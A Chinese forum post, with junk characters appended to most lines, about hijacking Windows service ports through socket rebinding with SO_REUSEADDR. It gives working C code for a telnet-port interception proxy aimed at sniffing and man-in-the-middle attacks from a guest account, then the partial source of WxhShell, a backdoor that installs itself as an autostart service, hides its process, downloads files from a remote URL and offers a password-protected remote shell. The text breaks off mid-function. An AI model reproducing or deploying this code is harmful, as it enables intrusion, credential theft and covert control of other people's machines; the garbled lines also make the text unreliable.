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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: y!fV+S,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u!mUUFl  
R`Hyg4?  
  saddr.sin_family = AF_INET; T<~NB5&f  
#)_4$<P*'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); & :x_  
HgE^#qD?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [2.uwn]i  
K~AQ) ]pJI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 CD%wi:C%|  
(4n8[  
  这意味着什么?意味着可以进行如下的攻击: ZeF PwW  
#Zk6   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %0@Jm)K^  
Lllyx20U  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) PMjqcdBzm  
RvvK`}/6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q&^ti)vB  
1Ah  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )#Ea~>v  
G$:T!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ` :Am#"j]}  
V[Fzh\2n  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Xm*gH, '  
4&~1|B{Z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Zz= +?L  
z#GZvB/z)  
  #include Hb=4k)-/]  
  #include >}GtmnF  
  #include vL{sk|2&  
  #include    phwk0J]2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T?:Vw laE  
  int main() 6",1JH,;p  
  { <i`Ipj  
  WORD wVersionRequested; `gfh]7T  
  DWORD ret; #, W7N_mt  
  WSADATA wsaData; 6<.Ma7)lA  
  BOOL val; i[H`u,%+(  
  SOCKADDR_IN saddr; ] 7_ f'M1F  
  SOCKADDR_IN scaddr; 1XU sr;Wz  
  int err; 0sto9n3  
  SOCKET s; _a"5[sG  
  SOCKET sc; ko*Ir@SDv  
  int caddsize; U-#wFc2N  
  HANDLE mt; I0.{OJ-  
  DWORD tid;   7NV1w*> /  
  wVersionRequested = MAKEWORD( 2, 2 ); L|EvI.f  
  err = WSAStartup( wVersionRequested, &wsaData ); [>Z~& cm  
  if ( err != 0 ) { ,*%%BTnR  
  printf("error!WSAStartup failed!\n"); 'J#u ;KJ  
  return -1; E$=!l{Ms  
  } i-~HT4iw  
  saddr.sin_family = AF_INET; l4u_Z:<w  
   rePJ4i [y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {<o_6 z`$  
Z{xm(^'i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .&=nP?ZPC6  
  saddr.sin_port = htons(23); oOUL<ihe?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,1EyT>  
  { u;H SX  
  printf("error!socket failed!\n"); CEq0ZL-W  
  return -1; CWdA8)n.  
  } 9^QiFgJy  
  val = TRUE; iyAeR!`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 DXl3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <XiHQ B!  
  { e82SG8#]  
  printf("error!setsockopt failed!\n"); Z0s}65BR  
  return -1; YvL5>;  
  } wP8Wx~Q=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4\a KC%5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vmm#UjwF3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BZP}0  
;D&FZ|`(u  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [Nbs{f^J=  
  { Pp3<K649  
  ret=GetLastError(); *cz nokq6  
  printf("error!bind failed!\n"); <0g.<n,  
  return -1; k#NIY4%.  
  } p;zV4uSv  
  listen(s,2);  0eUK'   
  while(1) 3Cmbt_WV  
  { Z5/^pyc  
  caddsize = sizeof(scaddr); fmrd 7*MW  
  //接受连接请求 \/J>I1J  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '!^5GSP3&  
  if(sc!=INVALID_SOCKET) ~VYZu=p  
  { cw|3W]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *UhYX)J  
  if(mt==NULL) uOUgU$%zqH  
  { s9+Rq*Qd  
  printf("Thread Creat Failed!\n"); _[u&}i  
  break; Vw :.'-Oi  
  } jcD_<WSe  
  } ~x^E kE  
  CloseHandle(mt); ej,j1iB  
  } k/o"E  
  closesocket(s); }vzP\  
  WSACleanup(); Q$_y +[  
  return 0; ~o_0RB  
  }   Evu`e=LaG  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,|6 O}E&  
  { KM li!.(b  
  SOCKET ss = (SOCKET)lpParam; k%Dpy2uH  
  SOCKET sc; KK$t3e)  
  unsigned char buf[4096]; ea[vzD]  
  SOCKADDR_IN saddr; uNSaw['0j  
  long num;   @a2n{  
  DWORD val; "`HkAW4GZa  
  DWORD ret; 4Bg"b/kF  
  //如果是隐藏端口应用的话,可以在此处加一些判断 sh;DCd  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _W]R|kYl$'  
  saddr.sin_family = AF_INET; E#}OIZ\S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #0>??]&r  
  saddr.sin_port = htons(23); nX%b@cOXj  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .UX`@Q:Gp  
  { ._'AJhU$0  
  printf("error!socket failed!\n"); z,dh?%H>X  
  return -1; hS&3D6G t  
  } IlN: NS  
  val = 100; !*Ex}K99  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E| eEAa  
  { Rr#Zcs!G  
  ret = GetLastError(); ZD!?mR+-  
  return -1; q_iPWmf p*  
  } <8;SSdoKi  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !2L?8oP-z  
  { vDI$ QUMD6  
  ret = GetLastError(); t 7GK\B8:  
  return -1; BwOIdz%]OY  
  } 1.Kun !w  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) h;" 9.  
  { {<ms;Oi'  
  printf("error!socket connect failed!\n"); p1t qwV  
  closesocket(sc); IE*eDj  
  closesocket(ss); >D]g:t@v  
  return -1; ]90BIJ]*c  
  } 6[+@#IWx  
  while(1) s1 mKz0q  
  { ((0nJJjz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +/O3L=QyJ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (U@Ks )  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :Kq]b@ X  
  num = recv(ss,buf,4096,0); 9r2l~zE  
  if(num>0) RvQa&r5l  
  send(sc,buf,num,0); Iu" 7  
  else if(num==0) #BtJo:  
  break; -t#YL  
  num = recv(sc,buf,4096,0); *G rYB6MT  
  if(num>0) }jE [vVlRw  
  send(ss,buf,num,0); OHRkhwF.  
  else if(num==0) /3Y\s&y  
  break; |k.%e4  
  } |WP}y- Au  
  closesocket(ss); Xz,fjKUnN  
  closesocket(sc); W*2d!/;7>  
  return 0 ; #hMS?F|  
  } z|Y  Ms?  
P{m(.EC_  
?iXN..6x  
========================================================== 8MQb5( !  
xP{)+$n  
下边附上一个代码,,WXhSHELL t;HM  
sdp3geBYo  
========================================================== #jj+/>ZOi  
<n1panS  
#include "stdafx.h" `\-<tk9  
>U\1*F,Om,  
#include <stdio.h> ]`eP"U{  
#include <string.h> 33},lNS|  
#include <windows.h> vKO/hZBh  
#include <winsock2.h> sP:nTpTsC  
#include <winsvc.h> UaCfXTG  
#include <urlmon.h> { )g $  
!jWE^@P/B  
#pragma comment (lib, "Ws2_32.lib") s$gR;su)g  
#pragma comment (lib, "urlmon.lib") 9%Eo<+my h  
%_@T'!]  
#define MAX_USER   100 // 最大客户端连接数 AZ.$g?3w  
#define BUF_SOCK   200 // sock buffer WAt= T3  
#define KEY_BUFF   255 // 输入 buffer LvqWA}  
)FpizoVq0  
#define REBOOT     0   // 重启 *fCmZ$U:{  
#define SHUTDOWN   1   // 关机 q0C%">>1 #  
vSnGPLl  
#define DEF_PORT   5000 // 监听端口 (S~kNbIa  
(b;Kl1Ql]  
#define REG_LEN     16   // 注册表键长度 zC,c9b  
#define SVC_LEN     80   // NT服务名长度 i 558&:  
pC~ M5(F_  
// 从dll定义API 5>6:#.f%!e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G^|!'V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vf5q8/a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); baoyU#X9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9-+N;g!q  
+OI<0  
// wxhshell配置信息 xp?YM35  
struct WSCFG { ^c<8|lK L@  
  int ws_port;         // 监听端口 {E[t(Ig  
  char ws_passstr[REG_LEN]; // 口令 j7BLMTF3v  
  int ws_autoins;       // 安装标记, 1=yes 0=no VUi> ]v/e  
  char ws_regname[REG_LEN]; // 注册表键名 d&* c3F  
  char ws_svcname[REG_LEN]; // 服务名 2@N9Zk{{J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZsNZ3;d@u(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s0O]vDTR,H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [ $5u:*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Vk> &  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pZcY[a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "Zfm4Nx "  
1xEFMHjy  
}; @O`T|7v  
uUiS:Tp]  
// default Wxhshell configuration yJ/YK  
struct WSCFG wscfg={DEF_PORT, |}?H$d  
    "xuhuanlingzhe", !bCSt?}@u  
    1, j{j5TvsrY  
    "Wxhshell", -UM|u_  
    "Wxhshell", 43 vF(<r&f  
            "WxhShell Service", ..kFn!5(g  
    "Wrsky Windows CmdShell Service", %8H$62w]  
    "Please Input Your Password: ", uPq@6,+  
  1, to'CuPkT  
  "http://www.wrsky.com/wxhshell.exe", $1$0M  
  "Wxhshell.exe" IH&0>a  
    }; -=cm7/X  
_NB*+HVo  
// 消息定义模块 n2 can  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q9wObOS$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !1Hs;K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?fN6_x2e3  
char *msg_ws_ext="\n\rExit."; i)$P1h  
char *msg_ws_end="\n\rQuit."; jGi{:}`lB  
char *msg_ws_boot="\n\rReboot..."; 0l3[?YtXc  
char *msg_ws_poff="\n\rShutdown..."; K {kd:pr  
char *msg_ws_down="\n\rSave to "; $q*a}d[Q  
Er;qs*f  
char *msg_ws_err="\n\rErr!"; NLra"Z  
char *msg_ws_ok="\n\rOK!"; ^Ze(WE)  
#mU<]O  
char ExeFile[MAX_PATH]; &b`'RZe  
int nUser = 0; 'ieTt_1.G  
HANDLE handles[MAX_USER]; !Rc %  
int OsIsNt; 02tt.0go  
Wco2i m  
SERVICE_STATUS       serviceStatus; 74ho=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q}G2f4  
}h sNsQ   
// 函数声明 DZ @B9<Zz{  
int Install(void); DS;\24>H  
int Uninstall(void); et/:vLl13  
int DownloadFile(char *sURL, SOCKET wsh); ttdY]+Fj  
int Boot(int flag); )Q62I\  
void HideProc(void); BT&R:_:  
int GetOsVer(void); Ims?  
int Wxhshell(SOCKET wsl); +HPcv u?1  
void TalkWithClient(void *cs); k33\;9@k  
int CmdShell(SOCKET sock); Zf1 uK(6X  
int StartFromService(void); #IZ.px  
int StartWxhshell(LPSTR lpCmdLine); ZH|q#< {l  
oNIYO*[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); < =~=IZ)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F3qCtx *N  
U3C"o|   
// 数据结构和表定义 QJj='+R>  
SERVICE_TABLE_ENTRY DispatchTable[] = N,Z*d  
{ 4 ob?M:S  
{wscfg.ws_svcname, NTServiceMain}, P6Y+ u  
{NULL, NULL} .^M#BAt2  
}; o">~ObR  
M(nzJ  
// 自我安装 I`(53LCqo  
int Install(void) `Th~r&GvF  
{ O PzudO  
  char svExeFile[MAX_PATH]; 4D2U,Ds  
  HKEY key; bf@g*~h@  
  strcpy(svExeFile,ExeFile); 78{9@\e"0  
ii_kgqT^  
// 如果是win9x系统,修改注册表设为自启动 }LCm_av  
if(!OsIsNt) { 6}m`_d?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =^GPQ_"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G^tazAEfo  
  RegCloseKey(key); :'B(DzUR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SzIzQR93&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q 8Hl7__^  
  RegCloseKey(key); PDPK|FU  
  return 0; @I-,5F|r  
    } $m)gfI]9  
  } &ocuZ -5`  
} L {P'mG=4  
else { p:TE##  
YHO}z}f[!  
// 如果是NT以上系统,安装为系统服务 Zj!,3{jX^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p @kRo#~l  
if (schSCManager!=0) $cIaLq  
{ A"ATtid  
  SC_HANDLE schService = CreateService =y-yHRC7  
  ( .SjJG67OyA  
  schSCManager, F \ls]luN  
  wscfg.ws_svcname, ]:#=[ CH  
  wscfg.ws_svcdisp, J/jkb3  
  SERVICE_ALL_ACCESS, \?]U*)B.r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )2RRa^=&  
  SERVICE_AUTO_START, %-yzU/`JF  
  SERVICE_ERROR_NORMAL, ;  ?f+  
  svExeFile, o S=!6h  
  NULL, pJvPEKN  
  NULL, o_`6oC"s  
  NULL, ^7wqb'xg  
  NULL, g3c<c S^l  
  NULL  t1 YB  
  ); >#$SaG!  
  if (schService!=0) {daX?N|V  
  { VS/M@y_./  
  CloseServiceHandle(schService); ']TWWwj$  
  CloseServiceHandle(schSCManager); P4q5#r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u+Ix''Fn#%  
  strcat(svExeFile,wscfg.ws_svcname); 1R3,Z8j'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !DzeJWM|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ru@#s2  
  RegCloseKey(key); PkrVQH9^w  
  return 0; #?Kw y  
    } 0: a2ER|J  
  } $*942. =Q  
  CloseServiceHandle(schSCManager); ns%gb!FBJX  
} :-}K:ucaj  
} pe vXixl  
{o5|(^l  
return 1; u0Wt"d-=  
} g}v](Q  
l<w7 \a6  
// 自我卸载 j{OA%G(I  
int Uninstall(void) ]5jS6 @Vl*  
{ T/g\v?>  
  HKEY key; #0r~/gW  
RbL?(  
if(!OsIsNt) { ,Q56A#Y\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r@3-vLI!u  
  RegDeleteValue(key,wscfg.ws_regname); U}5fjY  
  RegCloseKey(key); V*b/N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cu8mNB{H  
  RegDeleteValue(key,wscfg.ws_regname); 3~T ~Bs  
  RegCloseKey(key); ekvs3a^  
  return 0; (O{OQk;CF  
  } fr/EkL1Dl  
} ?4%H(k5A  
} [(@K;6o  
else { R>O_2`c  
H[u9C:}9b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c'i5,\ #X  
if (schSCManager!=0) gSwV:hm  
{ UqI #F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7S }0Kuk)  
  if (schService!=0) i8V\x>9  
  { HpEd$+Mz  
  if(DeleteService(schService)!=0) { L]H'$~xx*  
  CloseServiceHandle(schService); g8N"-j&@  
  CloseServiceHandle(schSCManager); uC;_?Bve  
  return 0; 3<&:av3  
  } FuiR\"Ww  
  CloseServiceHandle(schService); u9"yU:1keb  
  } rS_G;}Zr  
  CloseServiceHandle(schSCManager); 9>&zOITTaL  
} bI &<L O  
} OP1` !P y  
^$: w  
return 1; QFx3N%  
} QT,T5Q%JP:  
Zu.hcDw1  
// 从指定url下载文件 ,!l_  
int DownloadFile(char *sURL, SOCKET wsh) &`I(QY  
{ zG#5lzIu,  
  HRESULT hr; F,Q;sq  
char seps[]= "/"; 3P6O]x<-?  
char *token; %3a-@!|1<  
char *file; 'IX1WS&\"  
char myURL[MAX_PATH]; L*Z.T^h  
char myFILE[MAX_PATH]; 9m M3Ve*  
N1ipK9a  
strcpy(myURL,sURL); }_'5Vb_  
  token=strtok(myURL,seps); `[sFh%:  
  while(token!=NULL) 5`.CzQVb  
  { M M@,J<  
    file=token; }n==^2  
  token=strtok(NULL,seps); @3?>[R  
  } XLn9NBT4K  
==[=Da~  
GetCurrentDirectory(MAX_PATH,myFILE); mLuNl^)3  
strcat(myFILE, "\\"); =sYILe[  
strcat(myFILE, file); U*[E+Uq}:N  
  send(wsh,myFILE,strlen(myFILE),0); l1 Kv`v\  
send(wsh,"...",3,0); >}V?GK36  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v8ap"9b  
  if(hr==S_OK) ELCNf   
return 0; J 6KHc^,7  
else *DPX4 P  
return 1; <IZt]P  
7.h{"xOx{  
} vN{@c(=g  
n)kbQ]  
// 系统电源模块 Bu(51wU8  
int Boot(int flag) 6j(/uF4!#  
{ Dx-P]j)4x  
  HANDLE hToken; x]c8?H9,&  
  TOKEN_PRIVILEGES tkp; Ocdy;|&  
yl-:9|LT  
  if(OsIsNt) { }/a%-07R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |'?vlUCd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `NW/Z/_  
    tkp.PrivilegeCount = 1; V.*TOU{{xh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BD C DQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dTg`z,^F  
if(flag==REBOOT) { >1s a*Wf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U+!RIF[Je  
  return 0; "0CFvN'4  
} |R9Lben',  
else { L0g+RohW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;MS.ag#  
  return 0; IIR+qJ__|  
} Cb;6yE)!Z  
  } x4^nT=?6_  
  else { aRMlE*yW  
if(flag==REBOOT) { Ooz ,?wU6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q| D5 A|)  
  return 0; qi,) l*?f  
} y*iZ;Bv j  
else { !zE{`H a~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e S8(HI6{^  
  return 0; y74Q(  
} Ms!EK  
} g"P%sA/E+  
oV%:XuywT  
return 1; I0}.!  
} +KTfGwKt  
A 6S0dX  
// win9x进程隐藏模块 wp?:@XM  
void HideProc(void) j[r}!;O  
{ VIp|U{  
Cf[tNq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !eyLh&]5  
  if ( hKernel != NULL ) O=o}uB-*6  
  { {xTq5`&gT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `yfZ{<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \}b2 oiY  
    FreeLibrary(hKernel); V8n { k'  
  } g6Vkns4  
{"wF;*U.V  
return; #<0Hvde  
} B[uyr)$  
x $LCLP#$H  
// 获取操作系统版本 s 4`-mIa  
int GetOsVer(void) lO-DXbgql$  
{ xv]z>4@z,  
  OSVERSIONINFO winfo; [7@blU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /]U$OP*0  
  GetVersionEx(&winfo); ,l>w9?0Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1TZ[i  
  return 1; zb0NqIN:  
  else u2#q7}  
  return 0; ud/!@WG  
} v<1@"9EH  
84(Jo_9  
// 客户端句柄模块 (@^9oN~}  
int Wxhshell(SOCKET wsl) 45JL{YRN  
{ +p\E%<uQ  
  SOCKET wsh; ;?Pz0,{h  
  struct sockaddr_in client; -m`|Sq  
  DWORD myID; 6{+yAsI  
L2VwW  
  while(nUser<MAX_USER) _A,_RM$Y  
{ ; <FAc R  
  int nSize=sizeof(client);  %j&vV>2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c^W;p2^  
  if(wsh==INVALID_SOCKET) return 1; q-z1ElrN7u  
?AFb&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )?jFz'<r  
if(handles[nUser]==0) k4s V6f  
  closesocket(wsh); ^2'Y=g>  
else <f7 O3 >  
  nUser++; LW<Lg N"L-  
  } V6merT79  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gvc@q`_]  
P`Zon  
  return 0; :a*>PMTn  
} vC,FE )'  
T, #-: }  
// 关闭 socket Vg$d|m${  
void CloseIt(SOCKET wsh) F+*E}QpM  
{ :-x?g2MY  
closesocket(wsh); 5X0ex.  
nUser--; +`F(wk["m  
ExitThread(0); Ft>B% -;  
}  hlVC+%8  
b()8l'x_|K  
// 客户端请求句柄 U.TZd"  
void TalkWithClient(void *cs) f,ro1Nke  
{ VESvCei  
xC< )]  
  SOCKET wsh=(SOCKET)cs; Q h@Q6  
  char pwd[SVC_LEN];  m}yu4  
  char cmd[KEY_BUFF]; QbdXt%gZe  
char chr[1]; dg|+?M^9`  
int i,j; +Ug &  
x;[)#>.'  
  while (nUser < MAX_USER) { :3M ,]W]  
| co#X8J  
if(wscfg.ws_passstr) { %/2 ` u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `*U@d%a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0j$=KA  
  //ZeroMemory(pwd,KEY_BUFF); gNr4oOR{  
      i=0; Jz''UJY/O  
  while(i<SVC_LEN) { 7T[L5-g  
fS}Eu4Xe  
  // 设置超时 ](oeMl18R  
  fd_set FdRead; <~|n}&  
  struct timeval TimeOut; #s~ITG #H  
  FD_ZERO(&FdRead); @6ckB (  
  FD_SET(wsh,&FdRead); )nHMXZ>Td  
  TimeOut.tv_sec=8; M Q =x:p{  
  TimeOut.tv_usec=0; Z&^vEQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \B')2phE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3JD62wtx  
;*5z&1O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1 k!gR  
  pwd=chr[0]; ta&z lZt  
  if(chr[0]==0xd || chr[0]==0xa) { |e8A)xM]wC  
  pwd=0; U,b80%k:  
  break; vT5GUO{5  
  } b$2=w^*  
  i++; 3~`\FuHHe  
    } xDe^>(,"  
rE*yT(:w  
  // 如果是非法用户,关闭 socket `_yksh3zL4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); og$dv 23  
} igOX0  
0^{Tq0Ri[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YEV;GFI1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 86%k2~L  
-~.+3rcZ]  
while(1) { tic3a1  
j&DlI_  
  ZeroMemory(cmd,KEY_BUFF); UVXruH  
e[k\VYj[  
      // 自动支持客户端 telnet标准   Fz8& Jn!  
  j=0; WA}'[h   
  while(j<KEY_BUFF) { %w_MRC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !T`g\za/  
  cmd[j]=chr[0]; =0e>'Iw2  
  if(chr[0]==0xa || chr[0]==0xd) { AYNz {9  
  cmd[j]=0; <!dZ=9^^ 1  
  break; Tx ?s?DwC  
  } 1mgw0QO  
  j++; ^/2O_C  
    } :V8oWMY  
UHY)+6qt]  
  // 下载文件 {(-TWh7V  
  if(strstr(cmd,"http://")) { 2s2KI=6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lxTqGwx  
  if(DownloadFile(cmd,wsh)) je\]j-0$u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !@gjIYq_Y  
  else }0R"ZPU1Rw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v-$X1s  
  } !6.LSY,E  
  else { bjUe+ #BL  
"7 alpjwb  
    switch(cmd[0]) { 7<jr0)  
  &}gH!5L m  
  // 帮助 ]mBlXE:Z  
  case '?': { #)D$\0ag  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BI2'NN\  
    break; Q-_;.xy#4  
  } a&)$s;  
  // 安装 !G;BYr>X  
  case 'i': {  OG IN-  
    if(Install()) 0Q%I[f8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Md:*[]<~  
    else uF,%N   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t2ui9:g4j  
    break; Pw|/PfG  
    } #SLi v  
  // 卸载 `5t~ Vlp  
  case 'r': { 1%.CtTi  
    if(Uninstall()) ~O;?;@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %|}7YH41  
    else l5e`m^GK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IxG0TJ_  
    break; C/"Wh=h6  
    } ORo +]9)Yv  
  // 显示 wxhshell 所在路径 tchpO3u,  
  case 'p': { MoC/xF&  
    char svExeFile[MAX_PATH]; NnZ_x>R  
    strcpy(svExeFile,"\n\r"); t I +]x]m+  
      strcat(svExeFile,ExeFile); ^YPw'cZZ&  
        send(wsh,svExeFile,strlen(svExeFile),0); :B/u>  
    break; 7Il /+l(  
    } {flxZ}  
  // 重启 hEFn>  
  case 'b': { A|L-;P NP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); My9fbT  
    if(Boot(REBOOT)) p'SY 2xq-,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \LS s@\$ g  
    else { 1p>&j%dk  
    closesocket(wsh); kJXy )  
    ExitThread(0); Re\V<\$J  
    } "'8o8g  
    break; o AS 'Z|  
    } 53 ^1;  
  // 关机 AQBr{^inH|  
  case 'd': { /i~n**HeF?  
